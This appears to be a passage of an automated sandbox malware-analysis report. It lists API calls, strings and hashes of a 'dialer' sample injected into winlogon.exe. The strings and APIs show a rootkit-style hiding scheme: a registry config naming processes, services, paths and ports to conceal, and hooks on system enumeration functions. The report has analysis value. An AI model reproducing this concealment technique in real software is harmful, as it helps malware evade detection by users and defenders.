RegDeleteKeyExW.ADVAPI32 ref: 00000001400010B0

Strings

SOFTWARE\dialerconfig, xrefs: 0000000140001026, 000000014000109C

Memory Dump Source

Source File: 00000011.00000002.3055565921.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.3055221611.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056050499.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056708208.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: Delete$CloseEnumOpen
String ID: SOFTWARE\dialerconfig
API String ID: 3013565938-461861421
Opcode ID: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction ID: 8f4ace04a6ff3505bb025a84b088d585f414f6eddbaae7ea6d4a7c6b6057ac94
Opcode Fuzzy Hash: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction Fuzzy Hash: 2F1186B2714A8486E762CF26F8557E92378F78C7D8F404215A74D0BAA8DF7CC248CB54

Function 0000000140002A90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 0000000140002ACB
WriteFile.KERNEL32 ref: 0000000140002AF3
WriteFile.KERNEL32 ref: 0000000140002B16
CloseHandle.KERNEL32 ref: 0000000140002B1F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 0000000140002AA8

Memory Dump Source

Source File: 00000011.00000002.3055565921.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.3055221611.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056050499.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056708208.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: File$Write$CloseCreateHandle
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 148219782-3440882674
Opcode ID: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
Instruction ID: c657f3a7a6ba8077c0f3fca19c98ae9a251d12aa6ce49f65425284bb78429f7a
Opcode Fuzzy Hash: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
Instruction Fuzzy Hash: AE1139B6720B5082EB16CF16F818399A764F78DFE4F544215AB6907BA4CF78C549CB40

Function 0000000140001914 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001924
GetProcAddress.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001937

Strings

ntdll.dll, xrefs: 000000014000191A

Memory Dump Source

Source File: 00000011.00000002.3055565921.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.3055221611.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056050499.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056708208.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ntdll.dll
API String ID: 1646373207-2227199552
Opcode ID: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction ID: 7108e587e86fbdef38877cdd133235ae9a077454219746bc209a409130a8dfa8
Opcode Fuzzy Hash: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction Fuzzy Hash: 5BD0C9F471260582EE1BDBA378643E552996B5CBC5F884020AE164B360DA38C1998600

Analysis Process: winlogon.exePID: 552, Parent PID: 7824COMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	95.3%
Signature Coverage:	0%
Total number of Nodes:	127
Total number of Limit Nodes:	16

Executed Functions

Function 00000225DC641628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC641633
HeapAlloc.KERNEL32 ref: 00000225DC641642

Part of subcall function 00000225DC641268: GetProcessHeap.KERNEL32 ref: 00000225DC64126E
Part of subcall function 00000225DC641268: HeapAlloc.KERNEL32 ref: 00000225DC64127D
Part of subcall function 00000225DC641268: GetProcessHeap.KERNEL32 ref: 00000225DC641297
Part of subcall function 00000225DC641268: HeapAlloc.KERNEL32 ref: 00000225DC6412A8

RegOpenKeyExW.ADVAPI32 ref: 00000225DC6416B2
RegOpenKeyExW.ADVAPI32 ref: 00000225DC6416DF
RegCloseKey.ADVAPI32 ref: 00000225DC6416F9
RegOpenKeyExW.ADVAPI32 ref: 00000225DC641719
RegCloseKey.ADVAPI32 ref: 00000225DC641734
RegOpenKeyExW.ADVAPI32 ref: 00000225DC641754
RegCloseKey.ADVAPI32 ref: 00000225DC64176F
RegOpenKeyExW.ADVAPI32 ref: 00000225DC64178F
RegCloseKey.ADVAPI32 ref: 00000225DC6417AA
RegOpenKeyExW.ADVAPI32 ref: 00000225DC6417CA
RegCloseKey.ADVAPI32 ref: 00000225DC6417E5
RegOpenKeyExW.ADVAPI32 ref: 00000225DC641805
RegCloseKey.ADVAPI32 ref: 00000225DC641820
RegOpenKeyExW.ADVAPI32 ref: 00000225DC641840
RegCloseKey.ADVAPI32 ref: 00000225DC64185B
RegOpenKeyExW.ADVAPI32 ref: 00000225DC64187B
RegCloseKey.ADVAPI32 ref: 00000225DC641896
RegCloseKey.ADVAPI32 ref: 00000225DC6418A0

Part of subcall function 00000225DC6412BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC641319
Part of subcall function 00000225DC6412BC: GetProcessHeap.KERNEL32 ref: 00000225DC641327
Part of subcall function 00000225DC6412BC: HeapAlloc.KERNEL32 ref: 00000225DC641338
Part of subcall function 00000225DC6412BC: RegEnumValueW.ADVAPI32 ref: 00000225DC641397
Part of subcall function 00000225DC6412BC: GetProcessHeap.KERNEL32 ref: 00000225DC6413DF
Part of subcall function 00000225DC6412BC: HeapAlloc.KERNEL32 ref: 00000225DC6413ED
Part of subcall function 00000225DC6412BC: GetProcessHeap.KERNEL32 ref: 00000225DC64140A
Part of subcall function 00000225DC6412BC: HeapFree.KERNEL32 ref: 00000225DC641418
Part of subcall function 00000225DC6412BC: lstrlenW.KERNEL32 ref: 00000225DC641421
Part of subcall function 00000225DC6412BC: GetProcessHeap.KERNEL32 ref: 00000225DC64142F
Part of subcall function 00000225DC6412BC: HeapAlloc.KERNEL32 ref: 00000225DC64143D

Strings

tcp_local, xrefs: 00000225DC6417FE
startup, xrefs: 00000225DC6416D5
pid, xrefs: 00000225DC641712
SOFTWARE\dialerconfig, xrefs: 00000225DC641692
udp, xrefs: 00000225DC641874
tcp_remote, xrefs: 00000225DC641839
process_names, xrefs: 00000225DC64174D
service_names, xrefs: 00000225DC6417C3
paths, xrefs: 00000225DC641788

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 406a7c028b3c229bdc1c75f8301e19e1701b13e4dfdd540bc7c265abecc9bc67
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 47712D7E328E60A6EB109FA9E85869D33B4F784F9AF509111DE4E47B69EF34C444C740

Function 00000225DC643790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 00000225DC64379E
GetCurrentProcess.KERNEL32 ref: 00000225DC6437CC
VirtualProtectEx.KERNEL32 ref: 00000225DC6437EE
GetCurrentProcess.KERNEL32 ref: 00000225DC643809
VirtualProtectEx.KERNEL32 ref: 00000225DC64382A

Strings

wr, xrefs: 00000225DC6437FF

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 5b5ece5b16f05410ef88fc7334ca4b30fcb2165cfe8f9a178b0778bd0effcbe9
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 96118B2A318F5493EF549BA9E408269B2A0FB88F86F148038DF8A03B94EF3DC505C704

Function 00000225DC645B30 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC645B6B
GetThreadContext.KERNEL32 ref: 00000225DC645CD5

Part of subcall function 00000225DC645960: GetCurrentThreadId.KERNEL32 ref: 00000225DC645964

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 1583aff86c60747e20c7fd7e292354d5b69db1aa669fd640e36c9be7a05cd15b
Instruction ID: f245da02ec037058e9828f5728e6f8f7909b60f63258dcba4de34453af5a61e8
Opcode Fuzzy Hash: 1583aff86c60747e20c7fd7e292354d5b69db1aa669fd640e36c9be7a05cd15b
Instruction Fuzzy Hash: B9D1997A20CF9896DA70DB4AE49835A7BA0F7C8B85F104156EACE47BA5DF3CC541CB40

Function 00000225DC6450D0 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC645156

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 6db5c12ccb82f3d6f97d4eb5dd3bfd24aa6d026fde54f3ba11af0dc7faceaf78
Instruction ID: ca8f9a462bd9996edb27ee4ecd3a9b3d43bbe2f9124c1ca87dd336038b8394af
Opcode Fuzzy Hash: 6db5c12ccb82f3d6f97d4eb5dd3bfd24aa6d026fde54f3ba11af0dc7faceaf78
Instruction Fuzzy Hash: 1102C83661DF9496EB60CB99E49436AB7A1F3C4795F104056EA8E87BA8DF7CC444CF00

Function 00000225DC6439E0 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 00000225DC643A66
VirtualAlloc.KERNEL32 ref: 00000225DC643AA0

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction ID: 3d7c28a49f1379a387e1eab8d3c47744672dc9424a01523034e22865a73a9f88
Opcode Fuzzy Hash: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction Fuzzy Hash: 7F31302625DE98A1EA30DB9DE05835E76A1F388B85F108575F6CF46BA8DF7CC180CB04

Function 00000225DC64328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000225DC6432AE
PathFindFileNameW.SHLWAPI ref: 00000225DC6432BD

Part of subcall function 00000225DC643844: StrCmpNIW.SHLWAPI ref: 00000225DC64385C

Part of subcall function 00000225DC643790: GetModuleHandleW.KERNEL32 ref: 00000225DC64379E
Part of subcall function 00000225DC643790: GetCurrentProcess.KERNEL32 ref: 00000225DC6437CC
Part of subcall function 00000225DC643790: VirtualProtectEx.KERNEL32 ref: 00000225DC6437EE
Part of subcall function 00000225DC643790: GetCurrentProcess.KERNEL32 ref: 00000225DC643809
Part of subcall function 00000225DC643790: VirtualProtectEx.KERNEL32 ref: 00000225DC64382A

CreateThread.KERNEL32 ref: 00000225DC64330B

Part of subcall function 00000225DC641D14: GetCurrentThread.KERNEL32 ref: 00000225DC641D1F

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 7d3d60018f90cf45d3bc6b126cf75a44508ad4678cf0a9f52ef5460c3c2565a3
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 7011C07C62CEA8B2FB619BE8F90C3993295AB54B47F50C1B4EB0781690EF78C044C240

Function 00000225DC644DF0 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00000225DC644DF4
VirtualProtect.KERNEL32 ref: 00000225DC644E37
FlushInstructionCache.KERNEL32 ref: 00000225DC644E4C

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: b4082a11bd8fc7a0e50fa8074e04b9b5eee935061857b93c3988384488003b51
Instruction ID: 7e590623df8fc7209075b22fdaf8685971673eb90f371bc8902be2096d1f9670
Opcode Fuzzy Hash: b4082a11bd8fc7a0e50fa8074e04b9b5eee935061857b93c3988384488003b51
Instruction Fuzzy Hash: 9FF03A2A21CF24D0D630DB89E44976ABBA0F788BD5F148151FA8E43B69CE3CC681CF00

Function 00000225DC61273C Relevance: 3.2, APIs: 2, Instructions: 187
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 00000225DC6127DB
LoadLibraryA.KERNELBASE ref: 00000225DC61285E

Memory Dump Source

Source File: 00000016.00000002.3076077378.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc610000_winlogon.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: b5a9ffdff3e85ff3f1f12f145a610503c53f3502f35e5ceb3ac916478b11310c
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: D261363AB02AA097DF56CF5ED00876DB392F754BA6F18C521CE5907788DA38D852C700

Function 00000225DC641ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000225DC641628: GetProcessHeap.KERNEL32 ref: 00000225DC641633
Part of subcall function 00000225DC641628: HeapAlloc.KERNEL32 ref: 00000225DC641642
Part of subcall function 00000225DC641628: RegOpenKeyExW.ADVAPI32 ref: 00000225DC6416B2
Part of subcall function 00000225DC641628: RegOpenKeyExW.ADVAPI32 ref: 00000225DC6416DF
Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC6416F9
Part of subcall function 00000225DC641628: RegOpenKeyExW.ADVAPI32 ref: 00000225DC641719
Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC641734
Part of subcall function 00000225DC641628: RegOpenKeyExW.ADVAPI32 ref: 00000225DC641754
Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC64176F
Part of subcall function 00000225DC641628: RegOpenKeyExW.ADVAPI32 ref: 00000225DC64178F
Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC6417AA
Part of subcall function 00000225DC641628: RegOpenKeyExW.ADVAPI32 ref: 00000225DC6417CA

Sleep.KERNEL32 ref: 00000225DC641AD7
SleepEx.KERNELBASE ref: 00000225DC641ADD

Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC6417E5
Part of subcall function 00000225DC641628: RegOpenKeyExW.ADVAPI32 ref: 00000225DC641805
Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC641820
Part of subcall function 00000225DC641628: RegOpenKeyExW.ADVAPI32 ref: 00000225DC641840
Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC64185B
Part of subcall function 00000225DC641628: RegOpenKeyExW.ADVAPI32 ref: 00000225DC64187B
Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC641896
Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC6418A0

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: b89290e72799dd3975187c06206b195ef9f7eec7f326f7ac498d84b976088364
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 0731356921CE61B2FF509BAED6593A933A4AB54BC6F04D4A19E0F873E5FF30C451C210

Non-executed Functions

Function 00000225DC642B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000225DC642BD0
lstrlenW.KERNEL32 ref: 00000225DC642E0A

Part of subcall function 00000225DC64199C: OpenProcess.KERNEL32 ref: 00000225DC6419C2
Part of subcall function 00000225DC64199C: K32GetModuleFileNameExW.KERNEL32 ref: 00000225DC6419E0
Part of subcall function 00000225DC64199C: PathFindFileNameW.SHLWAPI ref: 00000225DC6419EF
Part of subcall function 00000225DC64199C: lstrlenW.KERNEL32 ref: 00000225DC6419FB
Part of subcall function 00000225DC64199C: StrCpyW.SHLWAPI ref: 00000225DC641A0E
Part of subcall function 00000225DC64199C: CloseHandle.KERNEL32 ref: 00000225DC641A1C

GetProcAddress.KERNEL32 ref: 00000225DC642BE5

Part of subcall function 00000225DC64152C: StrCmpIW.SHLWAPI ref: 00000225DC64155D

Part of subcall function 00000225DC643844: StrCmpNIW.SHLWAPI ref: 00000225DC64385C

StrCmpNIW.SHLWAPI ref: 00000225DC642C28
lstrlenW.KERNEL32 ref: 00000225DC642D50

Strings

NtQueryObject, xrefs: 00000225DC642BDB
\Device\Nsi, xrefs: 00000225DC642C1B
ntdll.dll, xrefs: 00000225DC642BC9

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 02e5d621d8295eb5dd385e75f9606a0c78f62cf6da70878d64f9e7b1c174dd69
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: DCB1B47A21CE60A6EB968FEDC4487A973A5F744B8AF24D056DE0A53B94DF34CC41C340

Function 00000225DC647D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000225DC647DAC
RtlCaptureContext.NTDLL ref: 00000225DC647DD9
RtlLookupFunctionEntry.NTDLL ref: 00000225DC647DF3
RtlVirtualUnwind.NTDLL ref: 00000225DC647E34
IsDebuggerPresent.KERNEL32 ref: 00000225DC647E88
SetUnhandledExceptionFilter.KERNEL32 ref: 00000225DC647EA9
UnhandledExceptionFilter.KERNEL32 ref: 00000225DC647EB4

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: a0dd4a3191c2f22ec65cd5f9c7d8c34c65d38d6a3a9ca6151c6be4ce44add157
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 29318376219F909AEB609FA4E8447ED73A0F784745F44812ADB4E57B94EF38C548CB10

Function 00000225DC64D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000225DC64D31D
RtlLookupFunctionEntry.NTDLL ref: 00000225DC64D335
RtlVirtualUnwind.NTDLL ref: 00000225DC64D370
IsDebuggerPresent.KERNEL32 ref: 00000225DC64D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000225DC64D3B3
UnhandledExceptionFilter.KERNEL32 ref: 00000225DC64D3BE

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: f4e1f7a423249601853f9bf4c02ae152ed9a85bcd9bd447fde6e0ecec31a17ad
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 1531C73A218F90A6DB60DFA9E8443EE73A0F789755F504126EB9E43B94DF38C145CB00

Function 00000225DC6412BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC641319
GetProcessHeap.KERNEL32 ref: 00000225DC641327
HeapAlloc.KERNEL32 ref: 00000225DC641338
RegEnumValueW.ADVAPI32 ref: 00000225DC641397

Part of subcall function 00000225DC64152C: StrCmpIW.SHLWAPI ref: 00000225DC64155D

GetProcessHeap.KERNEL32 ref: 00000225DC6413DF
HeapAlloc.KERNEL32 ref: 00000225DC6413ED
GetProcessHeap.KERNEL32 ref: 00000225DC64140A
HeapFree.KERNEL32 ref: 00000225DC641418
lstrlenW.KERNEL32 ref: 00000225DC641421
GetProcessHeap.KERNEL32 ref: 00000225DC64142F
HeapAlloc.KERNEL32 ref: 00000225DC64143D
StrCpyW.SHLWAPI ref: 00000225DC64145F
GetProcessHeap.KERNEL32 ref: 00000225DC641476
HeapFree.KERNEL32 ref: 00000225DC641484

Strings

d, xrefs: 00000225DC64135A

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: fb1b484c7ebee393b1b53cdd5cd81ac2c1ca147a5507fda1b24fca473b782784
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 46515E7A214F9496EB64CFAAE54836A77A1F789F9AF148124DF4A07B58DF3CC045C700

Function 00000225DC641D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000225DC641D1F

Part of subcall function 00000225DC641FD4: GetModuleHandleA.KERNEL32 ref: 00000225DC641FEC
Part of subcall function 00000225DC641FD4: GetProcAddress.KERNEL32 ref: 00000225DC641FFD

Part of subcall function 00000225DC645B30: GetCurrentThreadId.KERNEL32 ref: 00000225DC645B6B

Strings

EnumServiceGroupW, xrefs: 00000225DC641DF0
NtQuerySystemInformation, xrefs: 00000225DC641D45
EnumServicesStatusExW, xrefs: 00000225DC641E11, 00000225DC641E32
ntdll.dll, xrefs: 00000225DC641D2D
NtEnumerateValueKey, xrefs: 00000225DC641DD6
advapi32.dll, xrefs: 00000225DC641DF7, 00000225DC641E18
NtQueryDirectoryFileEx, xrefs: 00000225DC641D9C
NtQueryDirectoryFile, xrefs: 00000225DC641D7F
NtDeviceIoControlFile, xrefs: 00000225DC641E56
sechost.dll, xrefs: 00000225DC641E39
NtEnumerateKey, xrefs: 00000225DC641DB9
NtResumeThread, xrefs: 00000225DC641D62

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 52c27ab1b4cc8d1b0b7a026bbb00d0580f7e8789e5eca17ee175a033894297e0
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 9231B8AC518DAAB0EB46EFEDE9597D43361B70434BF90D093940B025B1AF38828AC350

Function 00000225DC616910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000225DC616938
__scrt_acquire_startup_lock.LIBCMT ref: 00000225DC61698A
_RTC_Initialize.LIBCMT ref: 00000225DC6169B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000225DC6169DE
__scrt_release_startup_lock.LIBCMT ref: 00000225DC616A09

Strings

scriptor', xrefs: 00000225DC616B39, 00000225DC616BB2, 00000225DC616BEC
`eh vector copy constructor iterator', xrefs: 00000225DC616A3B
`eh vector vbase copy constructor iterator', xrefs: 00000225DC6169EE
`dynamic initializer for ', xrefs: 00000225DC6169C7

Memory Dump Source

